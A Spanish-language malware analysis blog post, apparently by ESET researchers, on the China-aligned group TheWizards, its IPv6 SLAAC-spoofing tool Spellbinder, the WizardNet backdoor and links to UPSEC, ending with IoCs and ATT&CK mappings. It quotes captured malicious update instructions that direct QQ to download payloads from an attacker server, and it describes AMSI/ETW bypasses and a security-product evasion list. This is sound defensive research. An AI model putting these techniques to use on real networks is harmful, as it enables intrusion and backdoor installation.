En este blogpost, los investigadores de ESET proporcionan un análisis de Spellbinder, una herramienta de movimiento lateral para realizar ataques adversary-in-the-middle, utilizada por el grupo APT (Advance Persistent Threat) alineado con China que hemos denominado TheWizards. Spellbinder permite realizar ataques adversary-in-the-middle (AitM) a través del spoofing de SLAAC (StateLess Adress Configuration) de IPv6, para moverse lateralmente en la red comprometida, interceptando paquetes y redirigiendo el tráfico de software legítimo chino para que descargue actualizaciones maliciosas desde un servidor controlado por los atacantes.

Puntos clave de este blogpost:
  • Descubrimos un downloader malicioso que se despliega, mediante mecanismos de actualización de software chino legítimo, en las máquinas de las víctimas.
  • El downloader pretende desplegar un backdoor modular que hemos denominado WizardNet.
  • Analizamos Spellbinder: la herramienta que utilizan los atacantes para llevar a cabo ataques locales adversary-in-the-middle y redirigir el tráfico a un servidor controlado por el atacante para distribuir el backdoor WizardNet, la firma del grupo.
  • Proporcionamos detalles sobre los vínculos entre TheWizards y la empresa china Dianke Network Security Technology, también conocida como UPSEC.

Resumen

En 2022, nos dimos cuenta de que una DLL sospechosa había sido descargada por la popular aplicación china de software de método de input conocida como Sogou Pinyin. La DLL, que recibe su nombre de un componente legítimo de ese software, era un dropper para un downloader que recuperaba un blob cifrado de un servidor remoto. El blob contenía shellcode que cargaba el backdoor que hemos denominado WizardNet.

Nuestra investigación condujo al descubrimiento de una herramienta, utilizada por los atacantes, que está diseñada para realizar ataques adversary-in-the-middle utilizando IPv6 SLAAC spoofing para interceptar y responder a paquetes en una red, permitiendo a los atacantes redirigir el tráfico y servir actualizaciones maliciosas dirigidas a software chino legítimo.

Victimología

TheWizards ha estado activo desde al menos 2022 hasta el momento de escribir este artículo. Según la telemetría de ESET, TheWizards se dirige a individuos, empresas de juegos de azar y entidades desconocidas en Filipinas, Camboya, Emiratos Árabes Unidos, China continental y Hong Kong. Su distribución geográfica se muestra en la Figura 1.

Figure 1. Geographical distribution of the victims, according to ESET telemetry
Figura 1. Distribución geográfica de las víctimas, según la telemetría de ESET

Spellbinder, la herramienta IPv6 AitM

Inicialmente descubrimos y analizamos esta herramienta en 2022, y observamos una nueva versión que se desplegó en máquinas comprometidas en 2023 y 2024. Una vez que los atacantes obtienen acceso a una máquina en una red objetivo, despliegan un archivo llamado AVGApplicationFrameHostS.zip, y extraen sus componentes en %PROGRAMFILES%\AVG Technologies. Los archivos incluyen:

  • AVGApplicationFrameHost.exe
  • wsc.dll
  • log.dat
  • winpcap.exe

A continuación, los atacantes instalan winpcap.exe y ejecutan AVGApplicationFrameHost.exe. Este último, originalmente llamado wsc_proxy.exe, es un componente de software legítimo de AVG del que se abusa para cargar lateralmente wsc.dll; esta DLL simplemente lee el shellcode del archivo log.dat y lo ejecuta en memoria. El shellcode se descomprime y carga Spellbinder en memoria.

Spellbinder utiliza la biblioteca WinPcap para capturar paquetes y responder a los paquetes cuando sea necesario. La primera tarea es seleccionar o encontrar un adaptador con el que realizar la captura de paquetes. El código utiliza la API pcap_findalldevs de WinPcap para obtener todos los dispositivos adaptadores disponibles. Los dispositivos se detallan en una lista numerada para el atacante. Opcionalmente, Spellbinder acepta, como argumento, un índice que puede utilizarse para elegir un adaptador de esta lista. Si no se proporciona un dispositivo, Spellbinder utiliza las API de Windows GetBestInterface y GetAdapterInfo para encontrar un adaptador adecuado, e imprime su información en pantalla.

La figura 2 muestra la salida de Spellbinder cuando no se suministra ningún número de elemento. En ese caso, la herramienta encuentra por sí misma el adaptador más adecuado.

Figure 2. Spellbinder’s output during its initialization phase
Figura 2. Salida de Spellbinder durante la fase de inicialización

Como se muestra en la Figura 3, una vez encontrado un adaptador, Spellbinder utiliza la API WinPcap pcap_open_live para empezar a capturar paquetes, y crea dos hilos: uno para enviar paquetes ICMPv6 Router Advertisement (explicado en la siguiente sección), y otro hilo para monitorizar los cambios en la red. La API WinPcap pcap_loop hace el trabajo de invocar una función callback desde Spellbinder cada vez que se captura un nuevo paquete.

Figure 3. Spellbinder’s decompiled code that initializes the capture of packets and threads
Figura 3. Código descompilado de Spellbinder que inicializa la captura de paquetes e hilos

Router Advertisement thread

Este vector de ataque fue discutido por el IETF ya en 2008 y es causado por un error de configuración de red comúnmente pasado por alto de la coexistencia de IPv4 e IPv6. Posteriormente fue detallado minuciosamente en 2011 por Alec Waters, que lo bautizó como ataque SLAAC. Se aprovecha del protocolo Network Discovery de IPv6, en el que los mensajes ICMPv6 Router Advertisement (RA) anuncian la presencia de un router compatible con IPv6 en la red para que los hosts que soportan IPv6, o que solicitan un router compatible con IPv6, puedan adoptar el dispositivo anunciante como pasarela por defecto.

Spellbinder envía un paquete RA multidifusión cada 200 ms a ff02::1 ("todos los nodos"); las máquinas Windows de la red con IPv6 activado se autoconfigurarán mediante la autoconfiguración de direcciones sin estado (SLAAC, sus siglas en inglés) utilizando la información proporcionada en el mensaje RA, y comenzarán a enviar tráfico IPv6 a la máquina que ejecuta Spellbinder, donde los paquetes serán interceptados, analizados y respondidos cuando proceda. La Figura 4 ilustra la primera etapa del ataque.

Figure 4. Illustration of the SLAAC attack carried out by Spellbinder
Figura 4. Ilustración del ataque SLAAC realizado por Spellbinder

El paquete RA construido por Spellbinder consta de cuatro partes principales:

  • RA Flags: tiene el flag "managed address configuration" a 0, indicando a los hosts que se debe utilizar SLAAC.
  • La opción de prefijo que indica al host que utilice el prefijo 2001:db8::/64 para generar su dirección IPv6, que no es una subred enrutable por Internet, sino una subred reservada para documentación.
  • La opción de servidor DNS recursivo (RDNSS) que proporciona al host las direcciones de dos servidores DNS: 240e :56:4000:8000::11 y 240e:56:4000:8000::22. Ambas direcciones forman parte de AS4134 de China Telecom Backbone, pero no parecen responder a las peticiones DNS de Internet. No hemos encontrado ninguna prueba que indique que alguna de las dos sea un servidor DNS legítimo.
  • La opción source link-layer, que proporciona la dirección MAC de la máquina que ejecuta Spellbinder como el router a utilizar en el segmento de red local.

La Figura 5 muestra uno de los mensajes ICMPv6 RA enviados por Spellbinder.

Figure 5. RA message sent by Spellbinder
Figura 5. Mensaje RA enviado por Spellbinder

La Figura 6 muestra la salida del comando de Windows ipconfig /all antes y después de ejecutar Spellbinder desde una máquina comprometida en la red.

Figure 6. Result of the Windows ipconfig command, before and after running Spellbinder
Figura 6. Resultado del comando ipconfig de Windows, antes y después de ejecutar Spellbinder

Procesamiento de paquetes

Como se ha mencionado anteriormente, una función de callback procesa los paquetes sin procesar capturados. Spellbinder implementa su propio parser para encontrar paquetes que procesar, responder o imprimir información en pantalla para el atacante. La Tabla 1 describe algunos de los tipos de paquetes más relevantes procesados y las acciones realizadas por la herramienta.

Tabla 1. Protocolos y tipos de paquetes a los que Spellbinder puede responder

Protocol Message type Action taken
DNS Query If the queried domain matches one of the domains in a list, it answers to the DNS query.
ICMPv6 Router Solicitation Sends an RA packet.
Router Advertisement Logs information about the packet.
Neighbor Advertisement (NA) Sends an NA packet.
DHCPv6 Solicit Sends an Advertisement message that provides DNS recursive name servers with the two previously mentioned IPv6 addresses.
Information-request Sends a Reply message that provides DNS recursive name servers with the two previously mentioned IPv6 addresses.
ARP Any Logs information about the packet.

Cuando se encuentra una consulta DNS, Spellbinder comprueba si el nombre de dominio de la consulta está presente en una lista de subdominios codificada. El código que realiza esta comprobación se muestra en la Figura 7.

Figure 7. Decompiled code
Figura 7. Código descompilado que comprueba si el dominio consultado está presente en una lista de dominios objetivo

La figura 8 es un subconjunto de la lista codificada en Spellbinder. La lista completa de dominios objetivo contiene muchas entradas de dominios asociados a varias plataformas chinas populares, como Tencent, Baidu, Xunlei, Youku, iQIYI, Kingsoft, Mango TV, Funshion, Yuodao, Miui de Xiaomi y Xioami, PPLive, Meitu, Quihoo 360 y Baofeng, entre otras.

Figure 8. Subset of domains targeted by Spellbinder
Figura 8. Subconjunto de dominios atacados por Spellbinder

Cuando un dominio de la consulta DNS se encuentra en la lista, Spellbinder crea y envía un mensaje de respuesta DNS indicando la dirección IP del dominio, que está codificada en el binario. Por ejemplo, en la versión de 2022 era 43.155.116[.]7, y la versión más reciente que conocemos, que se utilizó en 2024, utiliza 43.155.62[.]54.

Spellbinder informa al atacante de que la herramienta está respondiendo a la consulta DNS. La Figura 9 muestra la salida de la herramienta, que incluye un volcado hexadecimal estilizado de todo el paquete, la longitud en bytes y un título que dice DNS ATTACK PAYLOAD.

Figure 9. Output of Spellbinder when answering to a DNS query of a targeted domain
Figura 9. Salida de Spellbinder al responder a una consulta DNS de un dominio objetivo

La Figura 10 muestra la información del paquete.

Figure 10. Wireshark display of a DNS answer message sent by Spellbinder
Figura 10. Visualización en Wireshark de un mensaje de respuesta DNS enviado por Spellbinder

Secuestro de actualizaciones

Para este blogpost nos hemos centrado en uno de los últimos casos de 2024, en el que se secuestró la actualización del software QQ de Tencent. El servidor malicioso que emite las instrucciones de actualización seguía activo en el momento de escribir este artículo. La figura 11 ilustra la cadena observada.

Figure 11. Compromise chain
Figura 11. Cadena de compromiso

El componente de software legítimo QQ.exe envía una petición HTTP a update.browser.qq.com. La herramienta Spellbinder intercepta la consulta DNS para ese nombre de dominio y emite una respuesta DNS con la dirección IP de un servidor controlado por el atacante y utilizado para el secuestro, por ejemplo, 43.155.62[.]54, que en el momento de escribir estas líneas seguía sirviendo actualizaciones maliciosas.

Cuando el servidor secuestrador recibe la petición, responde con las siguientes instrucciones (embellecidas por nosotros) en formato JSON para descargar un archivo también alojado en el mismo servidor:

{ "CSoftID": 22, "CommandLine": "", "Desp": "1.1.1160.80", "DownloadUrl": "http://43.155.62[.]54:81/app/minibrowser11_rpl.zip", "ErrCode": 0, "File": "minibrowser11.zip", "Flags": 1, "Hash": "da73153c76b6f652f9b2847531d1c367", "InstallType": 0, "NewVer": "39.1.1170.900", "PatchFile": "QBDeltaUpdate.exe", "PatchHash": "da73153c76b6f652f9b2847531d1c367", "Sign": "", "Size": 36673429, "VerType": "" }

A continuación, QQ.exe descarga el archivo minibrowser11_rpl.zip y despliega su contenido en la máquina de la víctima; después se carga el archivo malicioso minibrowser_shell.dll.

Cadena de ejecución tras un ataque AitM con éxito

La ejecución del malware en una máquina comprometida comienza con el downloader malicioso minibrowser_shell.dll. Esta DLL tiene tres funciones de exportación y la ejecución de cualquiera de ellas activa su funcionalidad principal, pero sólo si el nombre del proceso actual contiene QQ - por ejemplo, QQ.exe sería válido.

Utiliza la API WinSock para conectarse vía TCP a un servidor controlado por el atacante, desde donde obtiene un blob cifrado que contiene código del loader independiente de la posición y el backdoor WizardNet.

Shellcode del loader

El loader comienza intentando utilizar un conocido bypass para AMSI que parchea los primeros bytes de la función AmsiScanBuffer para devolver un código de error, evitando así el mecanismo que escanea la memoria en busca de artefactos maliciosos. Luego, parchea el punto de entrada de la función EtwEventWrite con una instrucción RETN 0x14; esto tiene el efecto de deshabilitar Event Login.

Para ejecutar el payload en memoria, el loader inicializa el runtime .NET, como se muestra en la Figura 12, utilizando las interfaces ICLRMetaHost, ICLRRuntimeInfo, e ICorRuntimeHost, requiriendo una versión del runtime de v2.0.50727 o v4.0.30319.

Figure 12. Decompiled code that initializes the .NET runtime to execute WizardNet in memory
Figura 12. Código descompilado que inicializa el tiempo de ejecución .NET para ejecutar WizardNet en memoria

A continuación, el payload se descifra utilizando una simple combinación de ADD y XOR. El payload es cargado en memoria usando el runtime .NET, luego su punto de entrada es ejecutado.

WizardNet

El payload final es un backdoor que hemos denominado WizardNet - un implante modular que se conecta a un controlador remoto para recibir y ejecutar módulos .NET en la máquina comprometida. Durante su inicialización crea un mutex llamado Global\<MD5(nombre_del_ordenador)> y lee shellcode de un archivo llamado ppxml.db en el directorio de trabajo actual o el valor de la clave HKCU\000000, e intenta inyectarlo en un nuevo proceso de explorer.exe o %ProgramFiles%\Windows Photo Viewer\ImagingDevices.exe.

El último paso de la fase de inicialización es crear un identificador único para el ordenador, denominado SessionKey. Es el resultado del hash MD5 del nombre del ordenador concatenado con la hora de instalación del backdoor y el número de serie de la unidad de disco, con cada byte codificado en hexadecimal del valor hash separado por @. La SessionKey se almacena en la ruta de registro HKCU\Software<MD5(nombre_ordenador)><MD5(nombre_ordenador)>mid.

Dependiendo de su configuración, WizardNet puede crear un socket TCP o UDP para comunicarse con su servidor de C&C, y los mensajes intercambiados se rellenan utilizando el algoritmo PKCS7 y se cifran con AES-ECB; la SessionKey se utiliza como clave para el cifrado y descifrado y el IV se genera aleatoriamente para cada paquete y se coloca antes de los datos cifrados.

Esta variante de WizardNet admite cinco comandos, como puede verse en la Tabla 2. Los tres primeros le permiten ejecutar módulos .NET en memoria, ampliando así su funcionalidad en el sistema comprometido.

Tabla 2. Resumen de los comandos soportados por el orquestador

Command ID Task
0x56 Load a .NET module into the orchestrator process. The module is received in the same message and loaded from memory.
0x57 Invoke a function from a .NET module loaded with the previous command.
0x58 Unload a module previously loaded with command 0x56.
0x59 Unload a Client plugin assembly. Call the u method implemented in the plugin assembly, presumably to clean up before being unloaded.
0x5A Send information to the server in two messages.
The first message contains system and orchestrator information:
 ·   machine name,
 ·   OS name and architecture,
 ·   time since system started,
 ·   WizardNet install date,
 ·   privileges of the current process,
 ·   security products,
 ·   name of the current process,
 ·   the previously described SessionKey, and
 ·   private IP address.
When obtaining a list of security solutions, it makes a list of running processes that match the following process names: 360tray, 360sd, kxetray, ksafe, avp, hipstray, qqpcrtp, avcenter, ashdisp, avgwdsvc, securityhealthsystray, mcshield, egui, and rtvscan.

Enlaces a Sichuan Dianke Network Security

En diciembre de 2024, los investigadores de Trend Micro publicaron un análisis del kit de exploits MOONSHINE y el malware DarkNimbus para dispositivos Android. El conjunto de herramientas es utilizado por un grupo al que Trend Micro rastrea como Earth Minotaur y que se dirige principalmente a las comunidades tibetana y uigur. En enero de 2025, Intelligence Online identificó a la empresa china Sichuan Dianke Network Security Technology Co., Ltd., también conocida como UPSEC (Figura 13), como proveedora del malware DarkNimbus.

Figure 13. UPSEC’s website
Figura 13. Sitio web de UPSEC
Sitio web de UPSEC

ESET rastrea el malware que Trend Micro denominó DarkNimbus como DarkNights (tanto para Windows como para Android); curiosamente, Trend Micro bautizó el malware con el nombre de la cadena DKNS presente en los nombres de las funciones del malware, y nosotros hicimos lo mismo(DarkNights) cuando descubrimos el malware. En abril de 2025, NCSC UK publicó un aviso sobre el malware BADBAZAAR y MOONSHINE, mencionando también a UPSEC en relación con la investigación de Trend Micro sobre Earth Minotaur.

Mientras que TheWizards utiliza un backdoor diferente para Windows (WizardNet), el servidor de secuestro está configurado para servir DarkNights a las aplicaciones de actualización que se ejecutan en dispositivos Android. Aunque no hemos visto ninguna víctima en la telemetría de ESET, hemos conseguido obtener una instrucción de actualización maliciosa para la versión Android de Tencent QQ:

{ "packages": [{"versionCode": 90999, "rules": [], "versionRegion": "", "plugins": [{ "name": "AudioFirstPiece", "packageId": "audiofirstpiece", "sampleRate": 10000, "sampleRateHigh": 12, "url": "http://43.155.62[.]54:81/app/plugin-audiofirstpiece.ml", "md5": "a961766c1b2e5133d589be1cf47e3338" }] }] }

El archivo plugin-audiofirstpiece.ml es un archivo ZIP que sólo contiene un archivo classes.dex, que es DarkNights para Android. Esto indica que Dianke Network Security es un intendente digital del grupo APT TheWizards.

ESET sigue rastreando a TheWizards independientemente de Earth Minotaur. Aunque ambos actores de amenazas utilizan DarkNights/DarkNimbus, según la telemetría de ESET TheWizards se ha centrado en objetivos diferentes y utiliza infraestructura y herramientas adicionales (por ejemplo, Spellbinder y WizardNet) que no se ha observado que utilice Earth Minotaur.

Conclusión

En 2022, descubrimos la actividad de un grupo APT alineado con China al que hemos denominado TheWizards. Analizamos el malware personalizado y las herramientas desarrolladas y utilizadas por TheWizards: la herramienta IPv6 AitM que hemos denominado Spellbinder, que permite a los atacantes redirigir los protocolos de actualización del software chino legítimo a servidores maliciosos, donde se engaña al software para que descargue y ejecute actualizaciones falsas en las máquinas de las víctimas, y los componentes maliciosos que lanzan el backdoor que hemos denominado WizardNet.

Para cualquier consulta sobre nuestra investigación publicada en WeLiveSecurity, póngase en contacto con nosotros en threatintel@eset.com.
ESET Research ofrece informes privados de inteligencia APT y fuentes de datos. Para cualquier consulta sobre este servicio, visite la página de ESET Threat Intelligence.

IoCs

Puede encontrar una lista completa de indicadores de compromiso y muestras en nuestro repositorio de GitHub.

Archivos

SHA-1 Filename ESET detection name Description
9784A1483B4586EB12D86E549D39CA4BB63871B8 minibrowser_shell.dll Win32/Agent.AGNF Downloader component.
4DB38A097AE4D5E70B2F51A8EE13B0C1EE01A2A1 Client.exe MSIL/Agent.DMS WizardNet backdoor.
76953E949AC54BE8FF3A68794EF1419E9EF9AFCB ipv6.exe Win64/Agent.CAZ Spellbinder tool (2022).
DA867188937698C7769861C72F5490CB9C3D4F63 N/A Win64/Agent.CAZ Spellbinder tool (2023), loaded in memory.
0CBA19B19DF9E2C5EBE55D9DE377D26A1A51B70A wsc.dll Win64/Agent.EUO Loads shellcode from log.dat.
1A8147050AF6F05DEA5FBCA1AE1FF2FFD2B68F9C log.dat Win32/Rozena.BXT Shellcode that loads Spellbinder.
2D376ADF44DBD9CF5DB08884E76192D0BC9984C4 plugin-audiofirstpiece.ml Android/Spy.Agent.EEF ZIP archive containing DarkNights for Android.
5B70A853D8E989AD102D639FBF7636B697313ABC classes.dex Android/Spy.Agent.EEF DarkNights for Android.

Red

IP Domain Provider First seen Details
43.155.116[.]7 hao[.]com ACEVILLEPTELTD-SG 2022‑11‑06 Server issuing malicious updates to legitimate applications in 2022. Used by Spellbinder. (Note: Spellbinder hijacks requests to resolve the hao[.]com domain.)
43.155.62[.]54 vv.ssl-dns[.]com ACEVILLEPTELTD-SG 2022‑11‑29 Server issuing malicious updates to legitimate applications in 2023 and 2024. Used by Spellbinder.
43.135.35[.]84 mkdmcdn[.]com ACE-SG 2023‑11‑15 WizardNet C&C server.
103.243.181[.]120 assetsqq[.]com HK Kwaifong Group Limited 2021‑07‑15 DarkNights C&C server.

Técnicas ATT&CK de MITRE

Esta tabla se ha elaborado utilizando la versión 16 del marco MITRE ATT&CK.

Tactic ID Name Description
Resource Development T1583.001 Acquire Infrastructure: Domains TheWizards has registered the domains hao[.]com, ssl-dns[.]com, and mkdmcdn[.]com.
T1583.004 Acquire Infrastructure: Server TheWizards acquired servers for hosting tools, C&C, and to serve malicious updates.
T1587.001 Develop Capabilities: Malware TheWizards uses custom malware such as the WizardNet backdoor and Spellbinder.
T1588.002 Obtain Capabilities: Tool TheWizards installs WinPcap on compromised machines; it is required by Spellbinder.
Initial Access T1659 Content Injection Spellbinder issues DNS answer messages with the IP address of a malicious server to hijack updates from legitimate applications.
Execution T1059.003 Command and Scripting Interpreter: Windows Command Shell TheWizards uses cmd.exe to execute commands to download and execute tools.
T1106 Native API WizardNet uses CreateProcessA to execute processes it injects shellcode into.
Privilege Escalation T1055 Process Injection WizardNet can inject code into Windows processes.
Defense Evasion T1480.002 Execution Guardrails: Mutual Exclusion WizardNet creates a mutex to prevent other instances of the backdoor from running.
T1112 Modify Registry An unknown TheWizards component stores encrypted shellcode in the registry.
T1027.007 Obfuscated Files or Information: Dynamic API Resolution The downloader and shellcode used by TheWizards dynamically resolve API addresses.
T1027.009 Obfuscated Files or Information: Embedded Payloads The shellcode obtained by the downloader contains WizardNet in encrypted form.
T1027.014 Obfuscated Files or Information: Polymorphic Code The file log.dat contains polymorphic decryption code that loads the Spellbinder tool into memory.
T1055 Process Injection WizardNet injects shellcode into another process.
T1055.004 Process Injection: Asynchronous Procedure Call WizardNet uses the QueueUserApc API to execute injected code.
Discovery T1518.001 Software Discovery: Security Software Discovery WizardNet obtains the name of running processes and matches them against a list of security solutions.
T1082 System Information Discovery WizardNet obtains system information such as computer name, uptime, OS name, etc.
T1124 System Time Discovery WizardNet gets the system time.
Command and Control T1105 Ingress Tool Transfer WizardNet can deploy tools and new modules obtained from its C&C.
T1095 Non-Application Layer Protocol WizardNet uses TCP and UDP to communicate with its C&C.
T1573.001 Encrypted Channel: Symmetric Cryptography WizardNet can communicate via TCP or UDP, and messages exchanged with its C&C are encrypted with AES.